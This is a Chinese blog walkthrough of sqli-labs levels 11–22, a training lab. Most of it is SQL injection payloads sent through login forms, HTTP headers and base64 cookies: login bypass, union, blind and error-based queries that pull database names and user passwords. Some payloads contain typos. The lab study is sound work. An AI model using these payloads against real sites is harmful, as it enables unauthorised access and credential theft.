Less 11-22

Posted 7-58

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Less 11-22相关的知识,希望对你有一定的参考价值。

Less-11:出现登录界面   

在用户名输入 ‘  密码随便输    出来报错

SELECT username, password FROM users WHERE username=‘‘‘ and password=‘1‘ LIMIT 0,1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1‘ LIMIT 0,1‘ at line 1

可以看到查询username和password用and连接放在同一个SQL语句中

那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload:

使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submit
uname=admin‘ or 1=1- - &passwd=123&submit=Submit
uname=admin‘ or 1=1# &passwd=123&submit=Submit

注意:因为它不对我们POST的数据URL解码,所以我们不能使用%20 %23这些,直接用#- - 进行注释即可。

uname=admin‘ or 1=1 limit 0,1# &passwd=123&submit=Submit

limit 0,1是对第一个用户和密码进行  通过修改第一个数,得到其他的登录用户名

 技术图片

 

 

4. uname=a’ order by 3#&passwd=a &submit=Submit或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。

5.  uname =a&passwd=a’union select database0,2 # &submit=Submit

查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit

均可以查询到当前的数据库,当然也可以查询其它信息。

6. uname =a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #
&passwd=a&submit=Submit可以查询到当前的第一个数据库,或者uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据

7. uname=a’ union  select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’ #&passwd=a&submit=submit /可以得到/security数据库中的所有表信息

 技术图片

 

 

技术图片

 

 

 

Less-12:使用(”a”)包裹

与第十一关一样

uname=a") union select 1,group_concat(concat(0x7e,username,password)) from security.users #&passwd=a &submit=submit

 

Less-13:  使用(’a’)包裹    不返回结果,我们使用盲注进行破解

也可以使用burp suite进行破解

盲注的几种形式:

  1. selest length(database())
  2. 2.if((1>2),3,4)
  3. 3.left(database(),1)<拿出一个字符>

if(length (database())=8,1,sleep(5));  判断数据库长度是8

 

uname=a‘) or length(database())=8#&passwd=a &submit=submit

uname=a‘) or left((select schema_name from information_schema.schemata limit 0,1),1)>‘a‘#&passwd=a &submit=submit  显示成功  (A-Z   0-9  _等)

通过修改schema_name来推测出表,列

 

 Less-14:使用”a”进行包裹

其他的与第十三关一致

uname=a" or left((select schema_name from information_schema.schemata limit 0,1),1)>‘u‘#&passwd=a &submit=submit

 

Less-15: 使用‘admin‘包裹

其他的与第十三关一致

 

uname=a’ or left((select schema_name from information_schema.schemata limit 0,1),1)>‘u‘#&passwd=a &submit=submit

 

Less-16: 使用 ("admin")包裹

其他的与第十三关一致

uname=a” or left((select schema_name from information_schema.schemata limit 0,1),1)>‘u‘#&passwd=a &submit=submit

Less-17:

 技术图片

 

 在第十七关index.php里面添加echo $update;  echo “<br>”;

 技术图片

 

 

当post里写  uname=admin’#&passwd=ad&submit=submit 不会有更新的那一条语句

 技术图片

 

 

当post里写  uname=admin&passwd=ad’#&submit=submit 就有更新的那一条语句,所以在passwd里对语句进行更改

 技术图片

 

 根据index.php里面的代码我们可以看到使用get_magic_quotes_gpc   对name password分开进行验证,并且在验证时候对name进行了过滤处理,将’这个符号进行了转义。

 技术图片

 

 

首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息

Uname=admin&passwd=ad’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1)#&submit=submit

通过查询,得到secuurity库下面的其中一个表的名字

 技术图片

 

 

Uname=admin&passwd=ad’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e),1)#&submit=submit

通过查询,得到secuurity.users里的其中一个列的名字

 技术图片

 

 技术图片

 

 

 

Less-18:

 添加

 技术图片

 

 

使用mysql命令查看users里的用户名和对应的密码

 技术图片

 

 

登录成功后会有一行user agent

 技术图片

 

 

 

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (‘Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0‘, ‘127.0.0.1‘, ‘admin‘)

 

比如这个:

 技术图片

 

 两种方式:

第一种: ‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1

第二种: ‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#              

 技术图片

 

 出来库

‘ or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), ‘‘,‘‘)# 

表 

‘or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1)),1), ‘‘,‘‘)# 

‘or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘ limit 0,1)),1), ‘‘,‘‘)# 
字段

‘ or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), ‘‘,‘‘)# 

 

Less-19:其他与第18关一致

通过insert语句进行分析

INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES (‘http://localhost/sqli-labs-master/sqli-labs-master/Less-19/‘, ‘127.0.0.1‘)

 

分析后得知,需要进行闭合操作,两种方法:
(1)‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1‘=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

 技术图片

 

 

Less20:

使用admin  admin 登录

技术图片

 

 使用burp suite工具 刷新出来cookie ,更改cookie 使uname=admin’ ,点GO出来下图(有错误说明有漏洞)

 技术图片

 

 

猜测列数:

查看列数:uname=‘ order by 5 #    通过实验知道列数为3

 技术图片

 

 

看回显位置:uname=’union select 1,2,3#

 技术图片

 

 

库uname=‘union select 1,2,group_concat(schema_name)from information_schema.schemata#

表uname=‘union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security‘#

列uname=‘union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users‘#

字段uname=‘union select 1,2,group_concat(concat_ws(‘~‘,username,password))from security.users#

 

Less-21:

 admin   admin 登录了之后

 技术图片

 

 

使用 https://base64.us 进行解码        看到就是admin

接下来修改cookie  uname   后面的已经加密了的语句就可以了

uname=‘)union select 1,2,database()#    

编码后为:

dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

 技术图片

 

 

Less-22:

 admin  admin登录    跟第21关一样

" union select ,2,database()#

编码后为:

IiB1bmlvbiBzZWxlY3QgLDIsZGF0YWJhc2UoKSM=

技术图片

 

以上是关于Less 11-22的主要内容,如果未能解决你的问题,请参考以下文章

列表转换为字典(setdefault())

Less一些选择器

使用bootstrap的原因是啥

less快速入门

less快速入门

十分钟入门less(翻译自:Learn lESS in 10 Minutes(or less))